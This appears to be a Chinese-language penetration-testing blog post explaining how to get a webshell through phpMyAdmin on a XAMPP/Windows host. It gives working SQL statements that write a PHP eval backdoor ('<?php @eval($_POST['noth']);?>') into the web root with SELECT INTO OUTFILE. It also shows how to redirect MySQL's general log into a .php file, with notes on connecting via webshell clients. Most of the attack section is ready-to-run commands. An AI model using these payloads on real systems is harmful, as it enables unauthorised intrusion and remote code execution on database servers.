phpMyadmin Getshell

 phpMyadmin Getshell 

作者 : Noth

前言 : 

做為一名滲透狗,看到 phpMyadmin 時必須要有敏感度和想法 Getshell,拿下最高權限才是王道,哈哈哈,筆者這次分享的是透過 phpMyadmin 後台操作進一步去取得 Shell 。

介紹 : 

phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的資料庫管理工具,讓管理者可用Web介面管理MySQL資料庫,藉由此Web介面可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。

實作環境 : 

Xampp + Windows

滲透思路 : 

首先去查看版本號去尋找可利用的弱點,例如 phpmyadmin 4.8.04.8.1 存在 LFI to RCE 的漏洞 xD,如果都沒有直接嘗試常規拿 shell 的方式。 

實作流程 : 

查看版本 

/phpmyadmin/readme 


獲取網站真實路徑 (phpinfo.php)  

DOCUMENT_ROOT
CONTEXT_DOCUMENT_ROOT


條件 :

執行 select @@secure_file_prive 得到空的返回值,而不是 NULL (代表可以任意導入導出) 

注 : 

如果不知道絕對路徑的話,可以下 select @@datadir 查看 mysql 路徑,反猜絕對路徑,通常 xampp 套件默認根目錄是在 C:\xampp\htdocs 



常規拿 shell :

需要知道絕對路徑、數據庫root權限、數據庫有寫權限

具體語句 :
上傳 phpinfo.php 
SELECT "<?php phpinfo();?>" INTO OUTFILE "C:\\xampp\\htdocs\\noth.php";
SELECT "<?php @eval($_POST['noth']);?>" INTO OUTFILE "C:\\xampp\\htdocs\\noth.php"; 

注 : 

Windows下,需要雙反斜線,否則會轉義然後使用菜刀/蟻劍等連接接即可。


執行成功 :

連接成功 : 


日誌 GetShell :

MySQL 5.0 以上的版本會自動創建日誌文件,且在服務運行的情況下修改全局變量也是可以變動文件位置的,但須要對生成日誌的目錄有可讀可寫的權限。

具體語句 :

General log 指的是日誌保存狀態

show variables like "general_log%";   // 查詢日誌保存狀態,ON代表開啟,OFF代表關閉 

set global general_log='on';    //  設置為 on 

general log file  指的是日誌的保存路徑

set global general_log_file = "C:\\xampp\\htdocs\\noth.php"; 

執行的語句都會寫入到日誌文件中,所以我們查詢語句 

select "<?php @eval($_POST['noth']);?>" 

便會將其記錄到指定的日誌文件中,然後使用菜刀連接即可。

查詢日誌保存狀態 : 

show variables like "general_log%";


設置日誌保存狀態為 On :

set global general_log='on';


在查詢一次 : 


保存在新增的檔案裡面 :

set global general_log_file = "C:\\xampp\\htdocs\\noth.php"


在經過一次查詢,把文件寫入到 noth.php :

select "<?php @eval($_POST['noth']);?>";


查看 noth.php 文件,一句話木馬被寫入 :


菜刀連接 : 



連接成功 : 



當然這只是常規拿 shell 的方式囉,相對的 Linux 主機滲透流程差不多 ~ 

就讓小夥伴們自己去嘗試吧 ~ 


留言

熱門文章